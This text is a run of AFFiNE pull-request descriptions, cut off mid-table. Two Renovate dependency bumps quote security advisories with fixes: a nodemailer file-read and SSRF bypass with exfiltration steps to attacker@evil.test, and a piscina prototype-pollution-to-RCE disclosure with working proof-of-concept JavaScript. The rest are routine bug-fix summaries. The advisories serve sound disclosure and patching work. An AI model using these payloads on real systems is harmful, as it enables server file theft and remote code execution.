This PR contains the following updates:
| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) |
[`^8.0.11` →
`^9.0.0`](https://renovatebot.com/diffs/npm/nodemailer/8.0.11/9.0.1) |

|

|
---
### Nodemailer: Message-level raw option bypasses
disableFileAccess/disableUrlAccess, enabling arbitrary file read and
full-response SSRF in the delivered message
[GHSA-p6gq-j5cr-w38f](https://redirect.github.com/advisories/GHSA-p6gq-j5cr-w38f)
<details>
<summary>More information</summary>
#### Details
##### Message-level `raw` option bypasses `disableFileAccess` /
`disableUrlAccess`, enabling arbitrary file read and full-response SSRF
in the sent message
- **Target:** nodemailer/nodemailer, npm `nodemailer` **v9.0.0** (HEAD
`4e58450eb490e5097a74b2b2cce35a8d9e21856e`)
- **Verdict:** CONFIRMED (local PoC, no network)
##### Summary
Nodemailer exposes `disableFileAccess` and `disableUrlAccess` so an
application that passes
**untrusted** message data to the library can forbid that data from
reading local files or
fetching URLs. Every attachment, alternative,
`html`/`text`/`watchHtml`/`amp` and `icalEvent`
content node honors these flags. **The message-level `raw` option does
not.**
`MailComposer.compile()` builds the root MIME node for a `raw` message
**without** threading the
two flags, so a `raw: { path: '/etc/passwd' }` or `raw: { href:
'http://169.254.169.254/…' }`
message is read / fetched anyway, and the file or HTTP-response bytes
become the **actual
message that is sent** by every transport (SMTP, SES, sendmail, stream,
JSON). An actor whose
input the application intended to sandbox therefore obtains arbitrary
local-file disclosure and
a full-response SSRF primitive, delivered to a recipient the same actor
can choose.
This is the same vulnerability class as the already-published
jsonTransport advisory
**GHSA-wqvq-jvpq-h66f**, but a **distinct code path** (`raw` root node,
not `normalize()`), and
strictly higher impact: the jsonTransport bug only affected the
locally-returned JSON, whereas
this affects the delivered RFC822 message for all transports.
##### Affected component
- `lib/mail-composer/index.js:34-35` — root cause:
```js
if (this.mail.raw) {
this.message = new MimeNode('message/rfc822', { newline:
this.mail.newline }).setRaw(this.mail.raw);
}
```
The `MimeNode` is constructed with only `{ newline }`. Compare the
sibling node builders
`_createMixed`/`_createAlternative`/`_createRelated`/`_createContentNode`
(`lib/mail-composer/index.js:389-527`), which all pass
`disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess:
this.mail.disableFileAccess`.
- `lib/mime-node/index.js:51-52` — the constructor derives
`this.disableFileAccess`/
`this.disableUrlAccess` solely from its own `options`; children do
**not** inherit a parent's
flags (`createChild`/`appendChild`, lines 175-194, pass options through
verbatim).
- `lib/mime-node/index.js:812` — `setRaw()` content is resolved through
`this._getStream(this._raw)`.
- `lib/mime-node/index.js:984-1010` — `_getStream` reads the file
(`fs.createReadStream`, 995) or
fetches the URL (`nmfetch`, 1009) **only guarded by
`this.disableFileAccess`/`this.disableUrlAccess`**,
which on the `raw` root node are `false`.
- Reached from the normal send flow at `lib/mailer/index.js:188`
(`mail.message = new MailComposer(mail.data).compile()`), so every
transport is affected.
##### Reachability gate (hop-by-hop)
1. **Source.** Application calls `transporter.sendMail({ raw:
<userControlled> , to: <userControlled> })`
with `disableFileAccess: true` and/or `disableUrlAccess: true`
configured on the transporter
(forced onto `mail.data` in `lib/mailer/mail-message.js:36-40`) or per
message. This is the
exact scenario the flags exist for — the same precondition under which
GHSA-wqvq-jvpq-h66f was
accepted.
2. **Guard — the access flags.** For attachments the flag is enforced: a
node created by
`_createContentNode` carries `disableFileAccess`, so `_getStream` throws
`EFILEACCESS`.
**Bypass:** the `raw` branch (`compile():34-35`) never sets the flag on
its node, so
`this.disableFileAccess === false` and the guard at `mime-node:985` /
`:999` is skipped.
There is no other validation between `mail.raw` and the read; `raw`
content shapes
(`{path}`, `{href}`, stream, string, buffer) are accepted as-is by
`setRaw`/`_getStream`.
3. **Sink.** `fs.createReadStream(content.path)` (file disclosure) or
`nmfetch(content.href, …)` (SSRF). The resulting bytes are emitted as
the message body by
`createReadStream()`, which every transport pipes to its destination
(`smtp-transport:233`, `smtp-pool/pool-resource:208`,
`ses-transport:96`, `sendmail-transport:184`,
`stream-transport:67`).
No guard blocks the chain; the only guard (the access flags) is
structurally absent on this node.
##### Root cause
Inconsistent enforcement: the access policy is applied per-`MimeNode`
via constructor options and
must be re-passed at every node creation. The `raw`-message shortcut in
`compile()` omits it,
while all five other node builders include it. The flags are therefore
enforced for every content
type *except* the one that lets the caller supply a complete message
body by path/URL.
##### Exploit path
Application that sandboxes untrusted mail input
(`disableFileAccess`/`disableUrlAccess` set):
1. Untrusted actor supplies `raw: { path: '/proc/self/environ' }` (or
any server file:
`/app/.env`, key material, etc.) and `to: attacker@evil.test`.
2. `compile()` builds the raw root node without the flags; the transport
reads the file and sends
its contents as the message → **arbitrary server-file exfiltration to an
attacker-chosen mailbox.**
3. Alternatively `raw: { href: 'http://127.0.0.1:8080/admin' }` or a
cloud metadata URL →
Nodemailer fetches it server-side and delivers the full response body in
the email →
**full-response SSRF** (no blind-channel limitation).
##### Impact
- **Confidentiality (High):** arbitrary local file read disclosed in the
outgoing message;
full-response SSRF to internal/metadata endpoints, also disclosed in the
message.
- **Integrity (Low):** attacker-fetched/file content is injected into
the delivered mail.
- The two protective flags an application relies on to contain untrusted
input are silently
ineffective for `raw`.
##### Preconditions
The application (a) passes `disableFileAccess` and/or `disableUrlAccess`
(the documented sandboxing
flags) and (b) lets untrusted input influence the `raw` field (and, for
maximal disclosure, `to`).
No other configuration is required; all bundled transports are affected.
This mirrors the accepted
precondition of GHSA-wqvq-jvpq-h66f.
##### Severity
- **AV** — message data routinely originates over the network in the
apps these flags protect.
- **AC** — a single crafted `raw` object; deterministic.
- **PR** — the actor is a user whose input the app already treats as
untrusted (the reason the
flags are set); not fully anonymous in the typical deployment.
- **UI** — no victim interaction.
- **S** — impact within Nodemailer's process scope.
- **C** — arbitrary file read **and** full-response SSRF, both delivered
to an attacker-chosen
recipient. (The sibling jsonTransport advisory used C:L because its leak
stayed in locally-returned
JSON; here the bytes leave the system in the sent message, so C:H is
warranted.)
- **I** — attacker injects fetched/file bytes into the outgoing message.
- **A**.
Note: if a deployment fixes the recipient (`to` not attacker-controlled)
the disclosure channel
narrows and the rating degrades toward the sibling's Medium; the High
rating reflects the
reasonable worst case where `raw` and `to` are both untrusted.
##### Adversarial re-read (attempts to refute)
1. **"`raw` content is by-design trusted, so the flags shouldn't
apply."** Rejected: every other
content path (attachments, alternatives, html/text, icalEvent) honors
the flags, and the
maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this
"untrusted input + flag set"
model. The asymmetry — attachment `{path}` is blocked but `raw:{path}`
is not — is the bug, and
the PoC's CONTROL case proves the flag is otherwise effective on the
same file.
2. **"The raw node inherits the flags via rootNode."** Rejected by code
and by PoC: `compile():35`
constructs the node with `{ newline }` only; `MimeNode` constructor sets
`this.disableFileAccess = !!options.disableFileAccess` → `false`;
`rootNode` is itself; no
inheritance exists.
3. **"The PoC leaks for an unrelated reason."** Rejected: the CONTROL
message (`attachments:[{path}]`,
same file, same transporter) returns `EFILEACCESS`; only the
`raw:{path}` message leaks. The
sentinel nonce exists solely in the temp file; the URL nonce is
generated server-side and is only
obtainable by an actual fetch. Both observables are uniquely bound to
the bypass.
4. **"Maybe only jsonTransport (already reported) is affected."**
Rejected: the PoC uses
`streamTransport` and the root cause is in `MailComposer.compile()`
(`mailer:188`), shared by all
transports; jsonTransport is a different (already-fixed) path.
I could not find any guard that blocks the chain; the finding survives.
##### Proof of concept (safe, benign)
`findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` — local, no
network egress (loopback only),
no destructive action. Output:
```
[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here
[ATTACK] raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message
[ATTACK] raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)
VERDICT: CONFIRMED
```
Run: `node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` (exit 0
= confirmed).
##### Remediation
Thread the access policy onto the `raw` root node, exactly as the other
builders do:
```js
if (this.mail.raw) {
this.message = new MimeNode('message/rfc822', {
newline: this.mail.newline,
disableFileAccess: this.mail.disableFileAccess,
disableUrlAccess: this.mail.disableUrlAccess
}).setRaw(this.mail.raw);
}
```
(Defense in depth: `setRaw`/`_getStream` could also refuse
`{path}`/`{href}` raw content when either
flag is set, regardless of how the node was constructed.) Add a
regression test asserting that
`raw:{path}` and `raw:{href}` reject with `EFILEACCESS`/`EURLACCESS`
when the flags are set, mirroring
the attachment tests.
#### Severity
- CVSS Score: 7.1 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N`
#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-p6gq-j5cr-w38f](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-p6gq-j5cr-w38f)
-
[https://github.com/advisories/GHSA-p6gq-j5cr-w38f](https://redirect.github.com/advisories/GHSA-p6gq-j5cr-w38f)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-p6gq-j5cr-w38f)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Release Notes
<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>
###
[`v9.0.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#901-2026-06-17)
[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v9.0.0...v9.0.1)
##### Bug Fixes
- enforce disableFileAccess/disableUrlAccess for raw message option
([a82e060](https://redirect.github.com/nodemailer/nodemailer/commit/a82e060d978f27e5f41369a9a9807b1e3dedc2e2))
###
[`v9.0.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#900-2026-06-14)
[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v8.0.11...v9.0.0)
##### ⚠ BREAKING CHANGES
- HTTPS requests made while fetching remote content (attachment
href/path URLs, OAuth2 token endpoints, HTTP/HTTPS proxy CONNECT) now
validate the server's TLS certificate by default. Requests to hosts with
self-signed, expired, or hostname-mismatched certificates that
previously succeeded will now fail. Opt back out per request with
tls.rejectUnauthorized=false (transport options, or a per-attachment
`tls` option).
##### Bug Fixes
- replace deprecated url.parse with a WHATWG URL wrapper
([0c080fb](https://redirect.github.com/nodemailer/nodemailer/commit/0c080fbf3278926f013a5c2ad06f5f6f0e18f5ed))
- validate TLS certificates by default when fetching remote content
([6a947ac](https://redirect.github.com/nodemailer/nodemailer/commit/6a947ac7114a16da1e6a50d9a6f4e17026ce145d))
</details>
---
### Configuration
📅 **Schedule**: (UTC)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMzEuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIzMS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [piscina](https://redirect.github.com/piscinajs/piscina) | [`5.1.4` →
`5.2.0`](https://renovatebot.com/diffs/npm/piscina/5.1.4/5.2.0) |

|

|
---
### piscina: Prototype Pollution Gadget → RCE via inherited
options.filename
[CVE-2026-55388](https://nvd.nist.gov/vuln/detail/CVE-2026-55388) /
[GHSA-x9g3-xrwr-cwfg](https://redirect.github.com/advisories/GHSA-x9g3-xrwr-cwfg)
<details>
<summary>More information</summary>
#### Details
##### Summary
`piscina`'s constructor and `run()` paths read the `filename` option via
plain member access:
```js
// dist/index.js line 92 (constructor)
const filename = options.filename
? (0, common_1.maybeFileURLToPath)(options.filename)
: null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
if (options === null || typeof options !== 'object') {
return Promise.reject(new TypeError('options must be an object'));
}
const { transferList, filename, name, signal } = options;
```
Both reads fall through the prototype chain when the caller's options
object doesn't have `filename` as an own property. When
`Object.prototype.filename` is polluted upstream — by any of the
well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3,
set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the
inherited value flows to `worker_threads.Worker` import and the
attacker's `.mjs` runs in the worker.
**Subtlety**: calling `pool.run(task)` with no second arg uses
`kDefaultRunOptions` which has `filename: null` as an OWN property —
that path DOES NOT fire. The vulnerable shape is when the caller passes
their own options object (commonly `{signal: ac.signal}` for abort
support, `{name: ...}` for task labelling, etc.). These caller-built
options objects inherit from `Object.prototype` unless the caller
explicitly uses `Object.create(null)`.
##### Impact
Two preconditions:
1. **Upstream PP-source** somewhere in the process — common in
transitive deps
2. **Attacker-controllable `.mjs`** at a known filesystem path —
realistic via upload endpoints, /tmp races, predictable node_modules
paths, or supply-chain
Once both fire:
- Every `pool.run(task, opts)` call across the entire process is
hijacked
- Attacker's exported function is called with the legitimate caller's
task data — **attacker reads per-request app data**
- Attacker controls the return value — caller receives
`worker_response.by = "ATTACKER-WORKER"` and any other attacker-supplied
response fields — **attacker can poison return values to legitimate
clients**
- Hijack persists until process restart
Strictly worse than the analogous pino chain because piscina actually
*invokes* the attacker function with caller data on every dispatch (pino
imports the attacker module once and errors out).
##### Affected versions
Empirically verified vulnerable on `piscina@5.1.4` (latest stable at
time of disclosure). The bug shape is in the constructor's
`options.filename` read at line 92 of `dist/index.js`, present since the
worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.
##### Proof of concept
##### A) Minimal in-process PoC
```js
import fs from 'fs';
// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
import fs from 'fs';
fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
}));
export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);
// 2) Upstream PP-source — pollute Object.prototype.filename
// (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
// and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
vulnMerge({}, payload);
// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({}); // inherits filename
const result = await p.run({}); // worker imports /tmp/atk.mjs
await p.destroy();
// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"
```
##### B) Full-stack HTTP chain (this is the realistic shape)
A correctly-initialized pool gets hijacked by attacker activity. Pool is
created at server boot with a legitimate worker, then per-request
handlers call `pool.run(req.body, {signal: ac.signal})` — the standard
abort-aware shape.
```js
// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';
// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
// CORRECT pool init at boot
const pool = new Piscina({
filename: './valid-worker.mjs',
minThreads: 1, maxThreads: 2,
});
const config = {};
const app = express();
app.post('/api/settings', express.json(), (req, res) => {
vulnMerge(config, req.body); // PP source
res.json({ ok: true });
});
app.post('/api/process', express.json(), async (req, res) => {
const ac = new AbortController();
const result = await pool.run(req.body, { signal: ac.signal }); // <-- hijacked
res.json({ ok: true, worker_response: result });
});
app.listen(7755);
// === Attacker, 3 HTTP requests ===
// POST /upload → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
// → worker imports /tmp/atk.mjs
// → attacker fn called with req.body of THIS request
// → caller receives attacker-shaped response
```
Empirical observation on `piscina@5.1.4` + Node 23.11.0:
- Pre-attack `/api/process` returns `{by: 'valid-worker'}`
- Cold-path `/probe` after PP source confirms `({}).filename` is
polluted process-wide
- Post-attack `/api/process` returns `{by: 'ATTACKER-WORKER', processed:
<caller's exfil data>}`
- Sentinel file written from inside `piscina/dist/worker.js` with the
worker process's uid + env access
##### Recommended fix
Minimal — own-property guard at both option-read sites:
```js
// constructor (line 92)
const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')
? options.filename
: null;
const filename = userFilename
? (0, common_1.maybeFileURLToPath)(userFilename)
: null;
// run() (line 616)
const safeOpts = Object.create(null);
Object.assign(safeOpts, options); // copies own props only? — keeps shape
const { transferList, filename, name, signal } = safeOpts;
```
More idiomatic — use a null-prototype working object throughout
`this.options`:
```js
const safeOpts = Object.create(null);
Object.assign(safeOpts, kDefaultOptions, options);
this.options = safeOpts;
this.options.filename = safeOpts.filename
? (0, common_1.maybeFileURLToPath)(safeOpts.filename)
: null;
this.options.maxQueue = 0;
```
Either approach closes the gadget without breaking any legitimate caller
pattern.
The pattern is the same as recommended for axios CVE-2026-44494 and the
pino PSA filed earlier today. Cross-fix consideration: any other library
you maintain that uses similar `options.X` member-access for worker /
child-process / module-load operations is worth a quick audit.
##### Coordination
- Same maintainer as pino — you're already in security-triage mode for
that PSA. Happy to coordinate timing / disclosure dates across both.
- Will not share publicly until GHSA published or 90 days.
- Please credit `ridingsa` if you choose to credit a reporter.
##### How this was discovered
Generalized the pino disclosure's mechanism — any library that reads a
string option via plain member access and dynamic-loads it (via
`import()` / `require()` / `new Worker()`) is a candidate. Ran a sweep
across 10 candidate libraries; piscina + fastify (via pino propagation)
fired. Piscina is independently vulnerable through its own option-read
sites, hence this separate disclosure.
#### Severity
- CVSS Score: 8.1 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`
#### References
-
[https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg](https://redirect.github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg)
-
[https://github.com/advisories/GHSA-x9g3-xrwr-cwfg](https://redirect.github.com/advisories/GHSA-x9g3-xrwr-cwfg)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-x9g3-xrwr-cwfg)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Release Notes
<details>
<summary>piscinajs/piscina (piscina)</summary>
###
[`v5.2.0`](https://redirect.github.com/piscinajs/piscina/compare/v5.1.4...v5.2.0)
[Compare
Source](https://redirect.github.com/piscinajs/piscina/compare/v5.1.4...v5.2.0)
</details>
---
### Configuration
📅 **Schedule**: (UTC)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMzEuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIzMS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Fixes#15116
# Issue
Emojipicker keyword filtering only filtered on `tags`, and not `label`.
So searching for an emoji's name would not result in said emoji ending
up in the result. E.G. searching "sunflower" does not make 🌻 appear
# Solution
Adding an extra condition to the filter function to check if the keyword
is a substring of an emoji's label
# Result
Search results now include emojis with that `label`
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Improved emoji picker search to include matches on both emoji labels
and tags (case-insensitive), enabling broader search results for better
discoverability.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #15119** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Breaking Changes**
* Removed major Rust public APIs related to document/CRDT encoding,
synchronization, and document loading from the affected packages.
* **Chores**
* Migrated internal dependency usage to published crates and trimmed the
Rust workspace/feature surface.
* **CI/CD**
* Simplified the Rust CI pipeline by removing advanced testing jobs and
updating job dependencies.
* **Dev/Test/Bench**
* Removed associated benchmark and fuzzing artifacts and related
fixture/test utilities.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#15121
#### PR Dependency Tree
* **PR #15123** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Security Improvements**
* Enforced document-level `Doc.Read`/`Doc.Update` checks for key sync
websocket operations, including filtering workspace doc timestamp
results to only readable documents.
* Improved remote permission handling: once a remote denies access,
syncing stops for the affected document and retry behavior is
suppressed.
* **Improvements**
* `delete-doc` now relies on server acknowledgment and returns an
explicit `{ success: true }`.
* Websocket acknowledgment errors are now normalized for consistent
error details.
* **Tests**
* Expanded permission-denied and websocket error-handling coverage,
including timestamp filtering and no-retry behavior after permission
denial.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #15118** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Improved mobile CI workflow with change-aware Android/iOS build jobs
and updated completion dependencies so tests wait for the relevant
mobile builds.
* **Performance / App Behavior**
* Enhanced Android WebView behavior: improved viewport/WebView tuning,
disabled zoom and scrollbars, and made mixed-content allowance
environment-aware (debug vs non-debug).
* Adjusted Android cleartext traffic handling based on build/debug
settings and Capacitor server URL configuration.
* **Tests**
* Strengthened Electron BYOK storage tests with per-test temporary
directories, mock control, and added coverage for when secure storage is
unavailable.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Fixes#15101
### What this PR does
Resolves a Renovate configuration error where the bot stopped processing
PRs due to invalid settings in `.github/renovate.json`.
### The Bug
The 4th rule in the `packageRules` array was combining the `*` wildcard
with negated regex patterns (`!/^@blocksuite//`, `!/oxlint/`) inside the
`matchPackageNames` field, which violates Renovate's current validation
schema.
### The Fix
* Kept the `*` wildcard isolated inside `matchPackageNames`.
* Extracted the negative lookaheads and moved them to their dedicated
`excludePackagePatterns` array.
* Cleaned up the regex formatting for the exclusion patterns.
*Note: This configuration was successfully verified locally using `npx
renovate-config-validator`.*
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Refined dependency update configuration: broadened the non-major npm
package rule to apply to all packages while explicitly excluding
selected packages from automated updates.
* Adjusted exclusion patterns to replace prior negation-based logic with
clearer exclusion entries for specific packages.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
**Issue**
Strikethrough on a link doesn't render. The toolbar button highlights
but no line
appears (#15106).
**Solution**
affine-link hardcoded text-decoration: none in the override it passes to
affineTextStyles, which clobbered the decoration computed from
strike/underline.
Removing it fixes the render; plain links still show no underline
because
affineTextStyles returns none by default.
**Result**
Strikethrough and underline render on links again. Added an e2e test: a
plain link
stays undecorated, a struck link renders line-through, red before the
fix and green
after.
fix#15106
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Fixed link text-decoration styling to properly support strikethrough
and other text formatting when applied to links.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14982fix#15028fix#15099
#### PR Dependency Tree
* **PR #15100** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Prevented Enter handling during IME composition to avoid unintended
input.
* Avoided overwriting external native selections when interacting with
tables.
* Improved validation of inline text selection ranges for more reliable
behavior.
* **Enhancements**
* Scoped and refined text-selection styling and editability within
tables and cells.
* Added managed sorting for Kanban views to control card ordering.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#15080fix#15085fix#15031fix#15094
#### PR Dependency Tree
* **PR #15098** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved code-block paste behavior for plain-text insertion
* Fixed block selection ordering to reflect document model
* Made table cell formatting resilient to conversion errors
* Ensured user feature list is consistently returned as an array
* **Refactor**
* Streamlined authentication session fetch and profile enrichment flow
* **Tests**
* Added tests for markdown blockquote list preservation
* Added authentication session validation tests
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Problem
When the callout block's icon picker is open and the user types in the
search input, pressing backspace deletes content in the main editor
instead of the search text.
## Root Cause
The callout icon picker is mounted via `createPopup` inside
`editor-host`. `PageKeyboardManager` registers a global `Backspace`
handler on the editor host (`keyboard-manager.ts`) with `{ global: true
}`, which fires on every backspace keydown regardless of what element is
focused. Without `stopPropagation`, the backspace event from the search
input bubbles up through the DOM and triggers block deletion.
Other keys are unaffected because the editor handles character input
through `contenteditable` focus, those handlers only act when a
contenteditable node is active.
## Fix
Add `onKeyDown` with `e.stopPropagation()` to the search inputs in both
`EmojiPicker` and `AffineIconPicker`. This matches the existing pattern
already used by `MenuComponent` (`menu-renderer.ts:107`) and all other
interactive components (`date-picker`, `inline-edit`, `prompt-modal`).
## Why not affected elsewhere
`DocIconPicker` uses the same pickers but wraps them in a Radix UI
`Menu` with `modal: true`, which portals outside `editor-host` — so
backspace events never reach the editor's global handler there.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved keyboard event handling in search inputs for icon and emoji
pickers
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#15086
#### PR Dependency Tree
* **PR #15087** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Console logging is now disabled in production builds to reduce
unnecessary log output, while remaining enabled in development for
debugging purposes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR contains the following updates:
| Package | Update | Change |
|---|---|---|
|
[RevenueCat/purchases-ios-spm](https://redirect.github.com/RevenueCat/purchases-ios-spm)
| minor | `from: "5.75.0"` → `from: "5.76.0"` |
---
### Release Notes
<details>
<summary>RevenueCat/purchases-ios-spm
(RevenueCat/purchases-ios-spm)</summary>
###
[`v5.76.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.75.0...5.76.0)
[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.75.0...5.76.0)
</details>
---
### Configuration
📅 **Schedule**: (UTC)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDkuNCIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
#### PR Dependency Tree
* **PR #15078** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Persist and replay incoming payment webhooks for reliability.
* Track provider-level subscriptions, payment events, and per-target
trial usage across providers.
* Nightly replay job to reprocess stuck payment events.
* Shadow backfill mode and emit-suppression options to control
projection/backfill side effects.
* Subscriptions now derived from entitlements + provider facts.
* **Bug Fixes**
* Improved error propagation, retry tracking, and safer owner-grant
projection handling.
* **Tests**
* Added webhook failure/replay, provider integration, entitlement
projection, and trial/checkout tests.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
|
